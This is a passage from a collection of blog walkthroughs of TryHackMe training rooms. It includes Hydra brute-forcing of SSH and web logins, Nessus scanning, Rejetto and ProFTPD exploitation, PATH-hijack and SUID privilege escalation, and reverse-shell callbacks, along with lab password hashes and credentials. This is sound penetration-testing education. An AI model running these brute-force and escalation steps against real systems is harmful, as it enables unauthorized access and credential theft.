flags.\nQuestion 1: What is the flag from the HTML comment?\n\u0026lt;redacted-flag\u0026gt;\nTo obtain the first flag, locate the webpage hidden in the developer\u0026rsquo;s comment. In Firefox, press CTRL+U to view the page source code.\nFigure 2: Hidden page within comments in the landing page\u0026rsquo;s source code\nNavigate to the hidden website mentioned by the developer, and retrieve the flag.\nFigure 3: Redacted flag on /new-home-beta\nQuestion 2: What is the flag from the secret link?\n\u0026lt;redacted-flag\u0026gt;\nAnother hidden page is mentioned further down in the page source.\nFigure 4: Hidden reference in the landing page\u0026rsquo;s source code\nAs before, navigate to the page to retrieve the flag.\nFigure 5: Redacted flag on /secret-page\nQuestion 3: What is the directory listing flag?\n\u0026lt;redacted-flag\u0026gt;\nAs mentioned, a configuration error exists in the web application: the directory listing feature remains enabled. Consequently, we can traverse the /assets directory and retrieve the flag stored in the flag.txt file.\nFigure 6: Enabled directory traversal for /assets\nFigure 7: Redacted flag from /assets/flag.txt\nQuestion 4: What is the framework flag?\n\u0026lt;redacted-flag\u0026gt;\nFor the final flag in this task, follow the link to the framework\u0026rsquo;s website, listed at the bottom of the page source.\nFigure 8: Framework reference within the landing page\u0026rsquo;s source code\nWe will notice that our version is one patch behind.\nFigure 9: Target potentially running outdated version\nLet us examine the changes since the last version. The changelog mentions a file named tmp.zip. Investigate it.\nFigure 10: Changelog between the relevant versions\nBy entering the file path, the browser will automatically attempt to download the file. Allow the download.\nFigure 11: Zip file containing the changelog between the relevant versions\nOn our system, navigate to the directory where the file was saved and examine its contents. Then extract the compressed file, retrieve the flag, and clean up afterward.\n# Change directory and list directory contents cd Downloads/ ; ls -hlag # List, test, and extract compressed files in a ZIP archive unzip tmp.zip # Concatenate files and print to standard output cat flag.txt # Remove files or directories rm tmp.zip flag.txt Listing 4 - Extracting the downloaded archive and accessing the flag Below is the complete terminal interaction in Kali Linux:\nuser@kali:~$ cd Downloads/ ; ls -hlag ... -rw-r--r-- 1 user 198 ... tmp.zip ... user@kali:~$ unzip tmp.zip Archive: tmp.zip extracting: flag.txt ... user@kali:~$ cat flag.txt THM{\u0026lt;redacted-flag\u0026gt;} user@kali:~$ rm tmp.zip flag.txt Listing 5 - Complete terminal interaction for flag extraction and cleanup Developer Tools - Inspector Read about Developer Tools, and navigate to the /news directory to follow along.\nQuestion 1: What is the flag behind the paywall?\n\u0026lt;redacted-flag\u0026gt;\nOpen the third article, and inspect the blocked-out part as described. Alternatively, open the Inspector from Developer Tools in Firefox by pressing CTRL+SHIFT+I.\nFigure 12: News page on the target website\nFigure 13: Blocker present for the article\nClick on the premium-customer-blocker class in the Inspector module, and change the style from display: block to display: none. This will remove the blocker displayed on the article.\nFigure 14: Disabling blocker in Developer Tools\nDo not forget to retrieve the flag.\nFigure 15: Redacted flag behind the removed blocker\nDeveloper Tools - Debugger Question 1: What is the flag in the red box?\n\u0026lt;redacted-flag\u0026gt;\nFor the next flag, navigate to the /contract directory and open the Debugger module in Developer Tools. Then examine the flash.min.js JavaScript file stored in the /assets directory. Beautify it with the built-in Pretty Print function for improved readability.\nFigure 16: flash.min.js file on the contact page\nSet the breakpoint as instructed, and refresh the page.\nFigure 17: Setting a breakpoint before timeout\nRetrieve the flag.\nFigure 18: Redacted flag for working around the timeout\nDeveloper Tools - Network Question 1: What is the flag shown on the contact-msg network request?\n\u0026lt;redacted-flag\u0026gt;\nFor the final flag, first open the Network module in Developer Tools. Then fill out the contact form with sample data, and send the request.\nFigure 19: Sample request data for the contact page\nA pop-up window notifies us that the request was successfully sent and received. Examine the request for additional details.\nFigure 20: Submitted contact form for the contact page\nThe final flag is located in the response headers, under a header named X-FLAG. Alternatively, we could navigate directly to /contact-msg to retrieve the same flag.\nFigure 21: Redacted flag in X-Flag response header\nEnsure the machine that was started is terminated before proceeding to the next room.\n","permalink":"https://onebee.blog/blog/thm/web-fundamentals/walking-an-application/","summary":"THM | Web Fundamentals | Walking an Application","title":"Walking an Application"},{"content":"CHALLENGE INFORMATION\nPlatform: TryHackMe\nPath: CompTIA PenTest+\nRoom: Hydra\nDescription: Learn about and use Hydra, a fast network logon cracker, to brute-force and obtain a website\u0026rsquo;s credentials.\nHydra Introduction Before proceeding, review the introduction to Hydra and familiarize yourself with the protocols it supports.\nQuestion 1: Read the above and have Hydra at the ready.\nNo answer needed\nUsing Hydra Ensure that you have deployed the machine in the room before attempting to solve the questions.\nLet us examine the commands discussed in the room.\nhydra -l \u0026lt;username\u0026gt; -P \u0026lt;full-path-to-pass\u0026gt; 10.10.10.247 -t 4 ssh Listing 1 - Targeting the SSH service with Hydra and\nhydra -l \u0026lt;username\u0026gt; -P \u0026lt;wordlist\u0026gt; 10.10.10.247 http-post-form \u0026#34;/:username=^USER^\u0026amp;password=^PASS^:F=incorrect\u0026#34; -V Listing 2 - Targeting HTTP login with Hydra Here is a breakdown of these commands:\nCOMMAND DESCRIPTION hydra - a very fast network logon cracker that supports many different services OPTIONS DESCRIPTION -l / -L - specify a single login name (-l) or load multiple logins from a file (-L) -p / -P - try a single password (-p) or load multiple passwords from a file (-P) -v / -V - verbose mode; -V shows the login and password combination for each attempt -t - run TASKS number of connections in parallel (default: 16) \u0026lt;target\u0026gt; (10.10.10.247) - the target to attack: an IPv4 address, IPv6 address, or DNS name \u0026lt;service\u0026gt; (ssh) - the service to attack; see Hydra\u0026#39;s list of available protocols http-post-form - the module to use for the attack \u0026#34;/:username=^USER^\u0026amp;password=^PASS^:F=incorrect\u0026#34; - optional service parameters Listing 3 - Hydra command and options breakdown To view the optional service parameters for any service \u0026ndash; in this case, the http-post-form module \u0026ndash; run the following command:\nhydra -U http-post-form Listing 4 - Getting more information about the http-post-form module Here is an abbreviated terminal interaction:\nuser@kali:~$ hydra -U http-post-form ... Help for module http-post-form: ============================================================================ Module http-post-form requires the page and the parameters for the web form. ... By default this module is configured to follow a maximum of 5 redirections in a row. It always gathers a new cookie from the same URL without variables. The parameters take three \":\" separated values, plus optional values. (Note: if you need a colon in the option string as a value, escape it with \"\\:\", but do not escape a \"\\\" with \"\\\\\".) Syntax: \u0026lt;url\u0026gt;:\u0026lt;form parameters\u0026gt;:\u0026lt;condition string\u0026gt;[:\u0026lt;optional\u0026gt;[:\u0026lt;optional\u0026gt;]] ... user@kali:~$ Listing 5 - Help for Hydra's http-post-form module With the theory established, we now turn to practice. Let us proceed to the questions.\nFirst Flag Question 1: Use Hydra to bruteforce molly\u0026rsquo;s web password. What is flag 1?\n\u0026lt;redacted-flag\u0026gt;\nFirst, we verify our connection to the target:\nping -c 3 10.10.192.119 Listing 6 - Connection check Next, we determine which port the web server is running on. We should never assume it is port 80; we must verify the open ports.\nnmap 10.10.192.119 Listing 7 - Default port scan Complete terminal interaction:\nuser@kali:~$ ping -c 3 10.10.192.119 ... 3 packets transmitted, 3 received, 0% packet loss, time 2035ms ... user@kali:~$ nmap 10.10.192.119 ... PORT STATE SERVICE 22/tcp open ssh 80/tcp open http ... user@kali:~$ Listing 8 - Target reconnaissance The target is up and running, and we have established a live connection. The web server is indeed running on port 80, though it is always prudent to verify.\nLet us examine the login page in the browser.\nFigure 1: Login page for the web server\nWe check the page\u0026rsquo;s source code. Though we find nothing of particular interest, this step is worth completing.\nFigure 2: HTML source code belonging to the web server\u0026rsquo;s login page\nNext, we attempt to log in with dummy data:\nUsername: username, Password: password. Before submitting, we open the developer tools \u0026ndash; Ctrl+Shift+I in Firefox \u0026ndash; to inspect the request. We navigate to the Network tab and examine the Request Headers.\nFigure 3: Firefox Developer Tools\nFigure 4: Login POST request payload\nAs we can see, the HTTP request method for logging in is POST, and the login page is located at http://10.10.192.119/login.\nOur dummy credentials were sent as a request payload in this format: username=username\u0026amp;password=password.\nWith all the necessary components in hand, we proceed to obtain Molly\u0026rsquo;s password.\nhydra -l molly -P /usr/share/wordlists/rockyou.txt 10.10.192.119 http-post-form \u0026#34;/login:username=^USER^\u0026amp;password=^PASS^:F=incorrect\u0026#34; Listing 9 - Brute-forcing the HTTP login page Complete terminal interaction:\nuser@kali:~$ hydra -l molly -P /usr/share/wordlists/rockyou.txt 10.10.192.119 http-post-form \"/login:username=^USER^\u0026password=^PASS^:F=incorrect\" ... [DATA] attacking http-post-form://10.10.192.119:80//login:username=^USER^\u0026password=^PASS^:F=incorrect [80][http-post-form] host: 10.10.192.119 login: molly password: *password* 1 of 1 target successfully completed, 1 valid password found ... user@kali:~$ Listing 10 - Successful HTTP login brute-forcing We have successfully brute-forced Molly\u0026rsquo;s password. Let us log in:\nFigure 5: Web server login with brute-forced password\nWe have found the first flag \u0026ndash; and a rather nice picture.\nFigure 6: Redacted flag after successful login\nSecond Flag Question 2: Use Hydra to bruteforce molly\u0026rsquo;s SSH password. What is flag 2?\n\u0026lt;redacted-flag\u0026gt;\nTo obtain the second flag, we use the same approach, this time targeting SSH.\nhydra -l molly -P /usr/share/wordlists/rockyou.txt 10.10.192.119 ssh -v Listing 11 - Brute-forcing passwords for the SSH service Complete terminal interaction:\nuser@kali:~$ hydra -l molly -P /usr/share/wordlists/rockyou.txt 10.10.192.119 ssh -v ... [DATA] attacking ssh://10.10.192.119:22/ ... [22][ssh] host: 10.10.192.119 login: molly password: *password* ... 1 of 1 target successfully completed, 1 valid password found ... user@kali:~$ Listing 12 - Successful brute-forcing for SSH We log in via SSH:\nssh molly@10.10.192.119 Listing 13 - SSH login Then we check the working directory for the flag:\nls -hlag Listing 14 - Target enumeration Finally, we retrieve the second flag:\ncat flag2.txt Listing 15 - Displaying the redacted flag Complete terminal interaction:\nuser@kali:~$ ssh molly@10.10.192.119 ... molly@10.10.192.119's password: Welcome to Ubuntu ... ... molly@ip-10-10-192-119:~$ ls -alg ... -rw-rw-r-- 1 molly 38 ... flag2.txt ... molly@ip-10-10-192-119:~$ cat flag2.txt THM{\u0026lt;redacted-flag\u0026gt;} molly@ip-10-10-192-119:~$ Listing 16 - Complete terminal interaction for getting the flag via SSH We have now obtained both flags and successfully completed this room. Be sure to terminate the target machine before proceeding to the next room.\n","permalink":"https://onebee.blog/blog/thm/comptia-pentest-plus/hydra/","summary":"THM | CompTIA PenTest+ | Hydra","title":"Hydra"},{"content":"CHALLENGE INFORMATION\nPlatform: TryHackMe\nPath: CompTIA PenTest+\nRoom: Nessus\nDescription: Learn how to set up and use Nessus, a popular vulnerability scanner.\nIntroduction Read the short introduction before moving to the next task.\nQuestion 1: I have read the description!\nNo answer needed\nInstallation Here, we will install Nessus on a Kali system. Follow the guide through the steps. First, let us register for the activation code.\nFigure 1: Activation code registration for Tenable Nessus\nVerify that you actually received the activation code by checking your email, and download the Nessus program.\nFigure 2: Verifying activation code registration\nSelect your platform and download the software.\nFigure 3: Customizing Nessus download\nAccept the license agreement.\nFigure 4: Accepting the terms and conditions\nOptional: Download the checksum to verify the integrity of your software download.\nFigure 5: Checksum download for verification\nFigure 6: Copying the SHA256 checksum\nWrite the hash to a simple text file, appending the program\u0026rsquo;s name with two spaces in between. (This allows us to automatically check for a match.)\necho \u0026#34;c554ca707e3290b69ddc8a57412d2273a54397973ec72170c9d56c31a78b2973 Nessus-10.3.0-ubuntu1404_amd64.deb\u0026#34; \u0026gt; nessus.hash Listing 1 - Storing the provided SHA256 hash for verification Then, generate the hash for the Nessus .deb file (using sha256sum for SHA256 hashes) and append it to our hash file \u0026ndash;nessus.hash.\nsha256sum Nessus-10.3.0-ubuntu1404_amd64.deb \u0026gt;\u0026gt; nessus.hash Listing 2 - Calculating the SHA256 hash for the provided executable Finally, we can either manually verify that the hashes match by simply checking the hash file,\ncat nessus.hash Listing 3 - Checksum manual verification or by using sha256sum\u0026rsquo;s built-in check function.\nsha256sum --check nessus.hash Listing 4 - Checksum automatic verification Complete terminal interaction:\nuser@kali:~$ echo \"c554ca707e3290b69ddc8a57412d2273a54397973ec72170c9d56c31a78b2973 Nessus-10.3.0-ubuntu1404_amd64.deb\" \u003e nessus.hash user@kali:~$ sha256sum Nessus-10.3.0-ubuntu1404_amd64.deb \u003e\u003e nessus.hash user@kali:~$ cat nessus.hash c554ca707e3290b69ddc8a57412d2273a54397973ec72170c9d56c31a78b2973 Nessus-10.3.0-ubuntu1404_amd64.deb c554ca707e3290b69ddc8a57412d2273a54397973ec72170c9d56c31a78b2973 Nessus-10.3.0-ubuntu1404_amd64.deb user@kali:~$ sha256sum --check nessus.hash Nessus-10.3.0-ubuntu1404_amd64.deb: OK Nessus-10.3.0-ubuntu1404_amd64.deb: OK user@kali:~$ Listing 5 - Complete terminal interaction for integrity verification As we see, everything checks out, so we can safely proceed with the installation.\nInstall the package:\nsudo dpkg -i Nessus-10.3.0-ubuntu1404_amd64.deb Listing 6 - Installing the provided executable Terminal output:\nuser@kali:~$ sudo dpkg -i Nessus-10.3.0-ubuntu1404_amd64.deb [sudo] password for user: Selecting previously unselected package nessus. (Reading database ... 371004 files and directories currently installed.) Preparing to unpack Nessus-10.3.0-ubuntu1404_amd64.deb ... Unpacking nessus (10.3.0) ... Setting up nessus (10.3.0) ... Unpacking Nessus Scanner Core Components... - You can start Nessus Scanner by typing /bin/systemctl start nessusd.service - Then go to https:/kali:8834/ to configure your scanner user@kali:~$ Listing 7 - Full terminal interaction for installing the provided executable Start the Nessus service:\nsudo /bin/systemctl start nessusd.service Listing 8 - Starting the Nessus service After the service daemon is started, open https://localhost:8834/ in your web browser. Here we use https://kali:8834/, because we use kali as the hostname on our system, but it should not make any difference.\nFollow the instructions through steps #5 - #8 to finish the setup.\nFigure 7 and 8: Browser certificate warning\nFigure 9: Workaround for browser certificate warning\nStep #6: Set up the scanner.\nFigure 10: Choosing Nessus Essentials\nFigure 11: Skipping registration with installer\nFigure 12: Entering previously registered activation code\nOptional, set a proxy or encryption password. (We will leave it blank here.)\nFigure 13: Optional settings\nStep #7: Create account.\nFigure 14: User account creation\nStep #8: Install the plugins.\nFigure 15: Plugin install\nStep #9 and #10: Log in with the account credentials you created earlier, and enjoy your successful installation.\nFigure 16: Welcome screen for Nessus Essentials\nQuestion 1-10: Step #1-#10\nNo answer needed\nNavigation and Scans Answer the questions by moving around the site.\nQuestion 1: What is the name of the button which is used to launch a scan?\nNew Scan\nFigure 17: Starting a new scan\nQuestion 2: What side menu option allows us to create custom templates?\nPolicies\nQuestion 3: What menu allows us to change plugin properties such as hiding them or changing their severity?\nPlugin Rules\nFigure 18: Placement for policies and plugin rules\nQuestion 4: In the Scan Templates section after clicking on New Scan, what scan allows us to see simply what hosts are alive?\nHost Discovery\nQuestion 5: One of the most useful scan types, which is considered to be suitable for any host?\nBasic Network Scan\nQuestion 6: What scan allows you to Authenticate to hosts and enumerate missing updates?\nCredentialed Patch Audit\nQuestion 7: What scan is specifically used for scanning Web Applications?\nWeb Application Tests\nFigure 19: Available scan templates\nPort Scanning Remember to start the machine before performing any scans. Create a new scan, set the target, and configure the scan parameters.\nFigure 20: Specifying the target for a scan\nFigure 21: Specifying the scan type\nFigure 22: Available scan types\nLaunch the scan, and review the reported vulnerabilities.\nFigure 23: Reported vulnerabilities\nFigure 24: Vulnerable Apache server version\nQuestion 1: Create a new Basic Network Scan targeting the deployed VM. What option can we set under BASIC (on the left) to set a time for this scan to run? This can be very useful when network congestion is an issue.\nSchedule\nQuestion 2: Under DISCOVERY (on the left) set the Scan Type to cover ports 1-65535. What is this type called?\nPort scan (all ports)\nQuestion 3: What Scan Type can we change to under ADVANCED for lower bandwidth connection?\nScan low bandwidth links\nQuestion 4: With these options set, launch the scan.\nNo answer needed\nQuestion 5: After the scan completes, which Vulnerability in the Port scanners family can we view the details of to see the open ports on this host?\nNessus SYN scanner\nQuestion 6: What Apache HTTP Server Version is reported by Nessus?\n2.4.99\nScanning a Web Application! Make sure the started machine is still running. Launch a new Web Application scan. Once the results are in, try to answer the questions.\nFigure 25: Web application scan\nQuestion 1: What is the plugin id of the plugin that determines the HTTP server type and version?\n10107\nFor the first one, check HTTP (Multiple Issues) in the Web Servers category.\nFigure 26: Results for web app scan\nThen, open the one called HTTP Server Type and Version.\nFigure 27: Drilling down on a specific vulnerability report\nYou will find the plugin ID both at the top of the page and on the right side under plugin details.\nFigure 28: Plugin details\nQuestion 2: What authentication page is discovered by the scanner that transmits credentials in cleartext?\nlogin.php\nThe Web Server (Multiple Issues) is the only one containing a vulnerability with low severity.\nFigure 29: Web server (multiple issues) vulnerability\nHead over and check out the one named Web Server Transmits Cleartext Credentials.\nFigure 30: Web server transmits cleartext credentials vulnerability\nFigure 31: Output for the web server transmits cleartext credentials vulnerability\nQuestion 3: What is the file extension of the config backup?\n.bak\nUnder Backup Files Disclosure we will find the backup config file\u0026rsquo;s path and its full name.\nFigure 32: Full name of the backup config file\nQuestion 4: Which directory contains example documents? (This will be in a php directory)\n/external/phpids/0.6/docs/examples/\nUnder Browsable Web Directories, you will find the directory used to store the example documents.\nFigure 33: Directory for storing the example documents\nQuestion 5: What vulnerability is this application susceptible to that is associated with X-Frame-Options?\nClickjacking\nPlay around a bit and check out the various vulnerabilities the scanner has found. Soon, you will find what you are looking for under the medium-severity vulnerability called Web Application Potentially Vulnerable to Clickjacking.\nFigure 34: Full name for the medium vulnerability\nThis marks the end of this room. Check out the next room in the module about Hydra, and learn how to brute-force and obtain website credentials.\n","permalink":"https://onebee.blog/blog/thm/comptia-pentest-plus/nessus/","summary":"THM | CompTIA PenTest+ | Nessus","title":"Nessus"},{"content":"CHALLENGE INFORMATION\nPlatform: TryHackMe\nPath: Complete Beginner\nModule: Basic Computer Exploitation\nRoom: Steel Mountain\nDescription: Hack into a Mr. Robot themed Windows machine. Use metasploit for initial access, utilise powershell for Windows privilege escalation enumeration and learn a new technique to get Administrator access.\nIntroduction Question 1: Deploy the machine. Who is the employee of the month?\nBill Harper\nInitial Access Question 1: Scan the machine with nmap. What is the other port running a web server on?\n8080\nQuestion 2: Take a look at the other web server. What file server is running?\nRejetto HTTP File Server\nQuestion 3: What is the CVE number to exploit this file server?\n2014-6287\nQuestion 4: Use Metasploit to get an initial shell. What is the user flag?\n\u0026lt;redacted-flag\u0026gt;\nPrivilege Escalation Question 1: To execute this using Meterpreter, I will type \u0026rsquo;load powershell\u0026rsquo; into meterpreter. Then I will enter powershell by entering \u0026lsquo;powershell_shell\u0026rsquo;.\nNo answer needed\nQuestion 2: Take close attention to the CanRestart option that is set to true. What is the name of the service which shows up as an unquoted service path vulnerability?\nAdvancedSystemCareService9\nQuestion 3: Upload your binary and replace the legitimate one. Then restart the program to get a shell as root.\nNote: The service showed up as being unquoted (and could be exploited using this technique), however, in this case we have exploited weak file permissions on the service files instead.\nNo answer needed\nQuestion 4: What is the root flag?\n\u0026lt;redacted-flag\u0026gt;\nAccess and Escalation Without Metasploit Question 1: To begin we shall be using the same CVE. However, this time let\u0026rsquo;s use this exploit.\nNote that you will need to have a web server and a netcat listener active at the same time in order for this to work!\nTo begin, you will need a netcat static binary on your web server. If you do not have one, you can download it from GitHub! You will need to run the exploit twice. The first time will pull our netcat binary to the system and the second will execute our payload to gain a callback!\nNo answer needed\nQuestion 2: What \u0026lsquo;powershell -c command\u0026rsquo; could we run to manually find out the service name? Format is \u0026lsquo;powershell -c \u0026lt;command-here\u0026gt;\u0026rsquo;.\npowershell -c \u0026quot;Get-Service\u0026quot;\nQuestion 3: Now we can move our payload to the unquoted directory winPEAS alerted us to and restart the service with two commands.\n- First we need to stop the service which we can do like so: \u0026lsquo;sc stop AdvancedSystemCareService9\u0026rsquo;.\n- Shortly followed by: \u0026lsquo;sc start AdvancedSystemCareService9\u0026rsquo;.\n- Once this command runs, you will see you gain a shell as Administrator on our listener!\nNo answer needed\n","permalink":"https://onebee.blog/blog/thm/complete-beginner/basic-computer-exploitation/steel-mountain/","summary":"THM | Complete Beginner | Basic Computer Exploitation | Steel Mountain","title":"Steel Mountain"},{"content":"CHALLENGE INFORMATION\nPlatform: TryHackMe\nPath: Complete Beginner\nModule: Basic Computer Exploitation\nRoom: Kenobi\nDescription: Walkthrough on exploiting a Linux machine. Enumerate Samba for shares, manipulate a vulnerable version of proftpd and escalate your privileges with path variable manipulation.\nDeploy the vulnerable machine Question 1: Make sure you\u0026rsquo;re connected to our network and deploy the machine.\nNo answer needed\nQuestion 2: Scan the machine with nmap, how many ports are open?\n7\nEnumerating Samba for shares Question 1: Using the nmap command above, how many shares have been found?\n3\nQuestion 2: Once you\u0026rsquo;re connected, list the files on the share. What is the file can you see?\nlog.txt\nQuestion 3: What port is FTP running on?\n21\nQuestion 4: What mount can we see?\n/var\nGain initial access with ProFtpd Question 1: Lets get the version of ProFtpd. Use netcat to connect to the machine on the FTP port. What is the version?\n1.3.5\nQuestion 2: We can use \u0026lsquo;searchsploit\u0026rsquo; to find exploits for a particular software version. Searchsploit is basically just a command line search tool for exploit-db.com. How many exploits are there for the ProFTPd running?\n4\nQuestion 3: We know that the FTP service is running as the Kenobi user (from the file on the share) and an ssh key is generated for that user.\nNo answer needed\nQuestion 4: We knew that the /var directory was a mount we could see (task 2, question 4). So we\u0026rsquo;ve now moved Kenobi\u0026rsquo;s private key to the /var/tmp directory.\nNo answer needed\nQuestion 5: What is Kenobi\u0026rsquo;s user flag (/home/kenobi/user.txt)?\n\u0026lt;redacted-flag\u0026gt;\nPrivilege Escalation with Path Variable Manipulation Question 1: To search the a system for these type of files run the following: \u0026lsquo;find / -perm -u=s -type f 2\u0026gt;/dev/null\u0026rsquo;. What file looks particularly out of the ordinary?\n/usr/bin/menu\nQuestion 2: Run the binary, how many options appear?\n3\nQuestion 3: We copied the /bin/sh shell, called it curl, gave it the correct permissions and then put its location in our path.\nThis meant that when the /usr/bin/menu binary was run, its using our path variable to find the curl binary.. Which is actually a version of /usr/sh, as well as this file being run as root it runs our shell as root!\nNo answer needed\nQuestion 4: What is the root flag (/root/root.txt)?\n\u0026lt;redacted-flag\u0026gt;\n","permalink":"https://onebee.blog/blog/thm/complete-beginner/basic-computer-exploitation/kenobi/","summary":"THM | Complete Beginner | Basic Computer Exploitation | Kenobi","title":"Kenobi"},{"content":"CHALLENGE INFORMATION\nPlatform: TryHackMe\nPath: Complete Beginner\nModule: Basic Computer Exploitation\nRoom: Basic Pentesting\nDescription: This is a machine that allows you to practise web app hacking and privilege escalation.\nWeb App Testing and Privilege Escalation Question 1: Deploy the machine and connect to our network.\nNo answer needed\nQuestion 2: Find the services exposed by the machine.\nNo answer needed\nQuestion 3: What is the name of the hidden directory on the web server? (enter name without /)\ndevelopment\nQuestion 4: User brute-forcing to find the username \u0026amp; password.\nNo answer needed\nQuestion 5: What is the username?\njan\nQuestion 6: What is the password?\narmando\nQuestion 7: What service do you use to access the server (answer in abbreviation in all caps)?\nSSH\nQuestion 8: Enumerate the machine to find any vectors for privilege escalation.\nNo answer needed\nQuestion 9: What is the name of the other user you found (all lower case)?\nkay\nQuestion 10: If you have found another user, what can you do with this information?\nNo answer needed\nQuestion 11: What is the final password you obtain?\nheresareallystrongpasswordthatfollowsthepasswordpolicy$$\n","permalink":"https://onebee.blog/blog/thm/complete-beginner/basic-computer-exploitation/basic-pentesting/","summary":"THM | Complete Beginner | Basic Computer Exploitation | Basic Pentesting","title":"Basic Pentesting"},{"content":"CHALLENGE INFORMATION\nPlatform: TryHackMe\nPath: Complete Beginner\nModule: Basic Computer Exploitation\nRoom: Vulnversity\nDescription: Learn about active recon, web app attacks and privilege escalation.\nDeploy the machine Question 1: Deploy the machine.\nNo answer needed\nReconnaissance Question 1: There are many Nmap cheatsheets online that you can use too.\nNo answer needed\nQuestion 2: Scan the box; how many ports are open?\n6\nQuestion 3: What version of the squid proxy is running on the machine?\n3.5.12\nQuestion 4: How many ports will Nmap scan if the flag \u0026lsquo;-p-400\u0026rsquo; was used?\n400\nQuestion 5: What is the most likely operating system this machine is running?\nUbuntu\nQuestion 6: What port is the web server running on?\n3333\nQuestion 7: It\u0026rsquo;s essential to ensure you are always doing your reconnaissance thoroughly before progressing. Knowing all open services (which can all be points of exploitation) is very important, don\u0026rsquo;t forget that ports on a higher range might be open, so constantly scan ports after 1000 (even if you leave checking in the background).\nNo answer needed\nQuestion 8: What is the flag for enabling verbose mode using Nmap?\n-v\nLocating directories using Gobuster Question 1: I have successfully configured Gobuster.\nNo answer needed\nQuestion 2: What is the directory that has an upload form page?\n/internal/\nCompromise the Webserver Question 1: What common file type you\u0026rsquo;d want to upload to exploit the server is blocked? Try a couple to find out.\n.php\nQuestion 2: I understand the Burpsuite tool and its purpose during pentesting.\nNo answer needed\nQuestion 3: What extension is allowed after running the above exercise?\n.phtml\nQuestion 4: While completing the above exercise, I have successfully downloaded the PHP reverse shell.\nNo answer needed\nQuestion 5: What is the name of the user who manages the webserver?\nbill\nQuestion 6: What is the user flag?\n\u0026lt;redacted-flag\u0026gt;\nPrivilege Escalation Question 1: On the system, search for all SUID files. Which file stands out?\n/bin/systemctl\nQuestion 2: What is the root flag value?\n\u0026lt;redacted-flag\u0026gt;\n","permalink":"https://onebee.blog/blog/thm/complete-beginner/basic-computer-exploitation/vulnversity/","summary":"THM | Complete Beginner | Basic Computer Exploitation | Vulnversity","title":"Vulnversity"},{"content":"CHALLENGE INFORMATION\nPlatform: TryHackMe\nPath: Complete Beginner\nModule: Shells and Privilege Escalation\nRoom: Linux PrivEsc\nDescription: Practice your Linux Privilege Escalation skills on an intentionally misconfigured Debian VM with multiple ways to get root! SSH is available.\nDeploy the Vulnerable Debian VM Question 1: Deploy the machine and login to the user account using SSH.\nNo answer needed\nQuestion 2: Run the \u0026lsquo;id\u0026rsquo; command. What is the result?\nuid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev)\nService Exploits Question 1: Read and follow along with the above.\nNo answer needed\nWeak File Permissions Readable /etc/shadow Question 1: What is the root user\u0026rsquo;s password hash?\n$6$Tb/euwmK$OXA.dwMeOAcopwBl68boTG5zi65wIHsc84OWAIye5VITLLtVlaXvRDJXET..it8r.jbrlpfZeMdwD3B0fGxJI0\nQuestion 2: What hashing algorithm was used to produce the root user\u0026rsquo;s password hash?\nsha512crypt\nQuestion 3: What is the root user\u0026rsquo;s password?\npassword123\nWritable /etc/shadow Question 1: Read and follow along with the above.\nNo answer needed\nWritable /etc/passwd Question 1: Run the \u0026lsquo;id\u0026rsquo; command as the newroot user. What is the result?\nuid=0(root) gid=0(root) groups=0(root)\nSudo Shell Escape Sequences Question 1: How many programs is user\u0026rsquo;allowed to run via sudo?\n11\nQuestion 2: One program on the list doesn\u0026rsquo;t have a shell escape sequence on GTFOBins. Which is it?\napache2\nQuestion 3: Consider how you might use this program with sudo to gain root privileges without a shell escape sequence.\nNo answer needed\nEnvironment Variables Question 1: Read and follow along with the above.\nNo answer needed\nCron Jobs File Permissions Question 1: Read and follow along with the above.\nNo answer needed\nPATH Environment Variable Question 1: What is the value of the PATH variable in /etc/crontab?\n/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin\nWildcards Question 1: Read and follow along with the above.\nNo answer needed\nSUID/SGID Executables Known Exploits Question 1: Read and follow along with the above.\nNo answer needed\nShared Object Injection Question 1: Read and follow along with the above.\nNo answer needed\nEnvironment Variables Question 1: Read and follow along with the above.\nNo answer needed\nAbusing Shell Features - 1 Question 1: Read and follow along with the above.\nNo answer needed\nAbusing Shell Features - 2 Question 1: Read and follow along with the above.\nNo answer needed\nPasswords \u0026amp; Keys History Files Question 1: What is the full mysql command the user executed?\nmysql -h somehost.local -uroot -ppassword123\nConfig Files Question 1: What file did you find the root user\u0026rsquo;s credentials in?\n/etc/openvpn/auth.txt\nSSH Keys Question 1: Read and follow along with the above.\nNo answer needed\nNFS Question 1: What is the name of the option that disables root squashing?\nno_root_squash\nKernel Exploits Question 1: Read and follow along with the above.\nNo answer needed\nPrivilege Escalation Scripts Question 1: Experiment with all three tools, running them with different options. Do all of them identify the techniques used in this room?\nNo answer needed\n","permalink":"https://onebee.blog/blog/thm/complete-beginner/shells-and-privilege-escalation/linux-privesc/","summary":"THM | Complete Beginner | Shells and Privilege Escalation | Linux PrivEsc","title":"Linux PrivEsc"},{"content":"CHALLENGE INFORMATION\nPlatform: TryHackMe\nPath: Complete Beginner\nModule: Shells and Privilege Escalation\nRoom: Common Linux Privesc\nDescription: A room explaining common Linux privilege escalation.\nGet Connected Question 1: Deploy the machine.\nNo answer needed\nUnderstanding Privesc Question 1: Read the information about privilege escalation.\nNo answer needed\nDirection of Privilege Escalation Question 1: Understand the difference between Horizontal and Vertical privilege escalation.\nNo answer needed\nEnumeration Question 1: First, lets SSH into the target machine, using the credentials user3:password. This is to simulate getting a foothold on the system as a normal privilege user.\nNo answer needed\nQuestion 2: What is the target\u0026rsquo;s hostname?\npolobox\nQuestion 3: Look at the output of /etc/passwd how many user\u0026lt;x\u0026gt; are there on the system?\n8\nQuestion 4: How many available shells are there on the system?\n4\nQuestion 5: What is the name of the bash script that is set to run every 5 minutes by cron?\nautoscript.sh\nQuestion 6: What critical file has had its permissions changed to allow some users to write to it?\n/etc/passwd\nQuestion 7: Well done! Bear the results of the enumeration stage in mind as we continue to exploit the system!\nNo answer needed\nAbusing SUID/GUID Files Question 1: What is the path of the file in user3\u0026rsquo;s directory that stands out to you?\n/home/user3/shell\nQuestion 2: We know that shell is an SUID bit file, therefore running it will run the script as a root user! Lets run it! We can do this by running: \u0026lsquo;./shell\u0026rsquo;.\nNo answer needed\nQuestion 3: Congratulations! You should now have a shell as root user, well done!\nNo answer needed\nExploiting Writeable /etc/passwd Question 1: First, let\u0026rsquo;s exit out of root from our previous task by typing \u0026rsquo;exit\u0026rsquo;. Then use \u0026lsquo;su\u0026rsquo; to swap to user7, with the password password.\nNo answer needed\nQuestion 2: Having read the information above, what direction privilege escalation is this attack?\nvertical\nQuestion 3: Before we add our new user, we first need to create a compliant password hash to add! We do this by using the command: 